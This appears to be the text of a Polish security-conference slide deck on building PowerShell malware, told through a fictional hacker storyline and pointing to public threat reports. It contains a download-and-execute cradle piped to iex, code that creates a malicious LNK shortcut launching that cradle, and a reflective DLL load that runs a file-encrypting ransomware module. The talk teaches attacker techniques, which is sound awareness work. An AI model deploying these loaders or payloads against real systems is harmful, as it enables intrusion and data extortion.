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Malware w PowerShellu

 - c z y  m a  t o  s e n s ?
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Poprzednio..



Jak to się robiło w latach 20 (XXI wieku)

https://d01a.github.io/pikabot/ 

https://d01a.github.io/pikabot/


Jak to się robiło w latach 20 (XXI wieku)

https://cert.pl/en/posts/2023/05/powerdash-malspam/ 

https://cert.pl/en/posts/2023/05/powerdash-malspam/


Jak to się robiło w latach 20 (XXI wieku)

https://cert.orange.pl/aktualnosci/agent-tesla-znow-w-mailach-polakow/ 

https://cert.orange.pl/aktualnosci/agent-tesla-znow-w-mailach-polakow/


O czym myśleć w kontekście malware?

Droper

Loader

Persystencja

AV bypass

Command & Control

Payload keying

Szyfrowanie

Infostealer

Ransomware

Exfiltracja



Dorwać Rudą czyli jak stworzyć malware
Command & Control



C2 po FTP - jak to robiono?

[Net.WebClient]::new().DownloadString("ftp://localhost/hpsz")|iex



Dorwać Rudą czyli jak stworzyć malware
Loader

$w = New-Object -ComObject WScript.Shell

$desktop = [system.environment]::GetFolderPath("Desktop")

$link = $w.CreateShortcut("$desktop\MAO.lnk")

$link.TargetPath = 'powershell.exe'

$link.arguments = @'

-c "[net.webclient]::new().DownloadString('ftp://localhost/hpsz')|iex"

'@

$link.workingDirectory = 'c:\'

$link.IconLocation = "C:\Windows\System32\Shell32.dll,3"

$link.save() > $null



Dorwać Rudą czyli jak stworzyć malware

<Archiwista> Z jakim załącznikiem?

<DarkSeeker> Mam malware. Wyślij Rudej maila 

z załącznikiem

<DarkSeeker> LNK uruchamiający PowerShella.

<Archiwista> Chyba zapomniałeś z kim masz do czynienia.

<DarkSeeker> Co proponujesz w takim razie?

<Archiwista> To ty jesteś hakerem. Włącz sobie WinAmpa 
i kombinuj dalej.

<DarkSeeker> Jakiego WinAmpa?

<Archiwista> Człowieku, skąd ty się urwałeś. Muzyki nie 
słuchasz?



Dorwać Rudą czyli jak stworzyć malware

https://www.crowdstrike.com/blog/dll-side-loading-how-to-combat-threat-actor-evasion-techniques/ 

https://www.crowdstrike.com/blog/dll-side-loading-how-to-combat-threat-actor-evasion-techniques/


Kto nie używał WinAmpa?



Kto nie używał WinAmpa?



Kto nie używał WinAmpa?

https://learn.microsoft.com/pl-pl/dotnet/framework/tools/ildasm-exe-il-disassembler 

https://learn.microsoft.com/pl-pl/dotnet/framework/tools/ildasm-exe-il-disassembler


Kto nie używał WinAmpa?



Dorwać Rudą czyli jak stworzyć malware

<Archiwista> Ruda nie słucha muzyki.

<DarkSeeker> Nowy loader. Podszywa się pod DLL-kę do 
WinAmpa.

<DarkSeeker> #$@%%@^!@$!@@



regsvr32.exe FTW

https://research.openanalysis.net/pikabot/yara/config/loader/2023/02/26/pikabot.html 

https://research.openanalysis.net/pikabot/yara/config/loader/2023/02/26/pikabot.html


regsvr32.exe FTW



regsvr32.exe FTW



Ciekawe czy Ruda backupuje.. 😈
Ransomware

https://alphasec.pl/confi23 

https://alphasec.pl/confi23


Jak załadować i użyć moduł DLL?
$dllPath = "C:\Users\drg\DarkCrypt\obj\Debug\netstandard2.0\DarkCrypt.dll"


$byteValues = [System.IO.File]::ReadAllBytes($dllPath)


[System.Reflection.Assembly]::Load($byteValues) | Out-Null


$crypter = [DarkCrypt.InvokeDarkEncryptFile]::new()


$crypter.Path = (get-item .\plik.txt)


$crypter.Passphrase = "ChlodnaPlaza"


$crypter.Invoke()



Jak załadować plik PE?

https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1 

https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1


Ruda nie backupuje
<Ruda> Powinieneś odszyfrować moje pliki.

<DarkSeeker> Niby dlaczego?

<Ruda> Bo gramy do jednej bramki.

<DarkSeeker> Mam ci uwierzyć? Okłamałaś mnie. 
Na zdjęciu to nie była moja rodzina. Nie mam 
rodziny.

<Ruda> Właśnie, że masz, bracie.. Właśnie, że 
masz..

<DarkSeeker> Nie sądzę. Chcę tylko odzyskać 
pamięć.

<Ruda> Musimy zniszczyć MAO. Uwierz mi.



Paweł Maziarz
p@alphasec.pl

alphasec.pl
aptm.in/h

twitter.com/pawelmaziarz
linkedin.com/in/pawelmaziarz/

alphasec.pl/omh23 

Dzięki za spotkanie!
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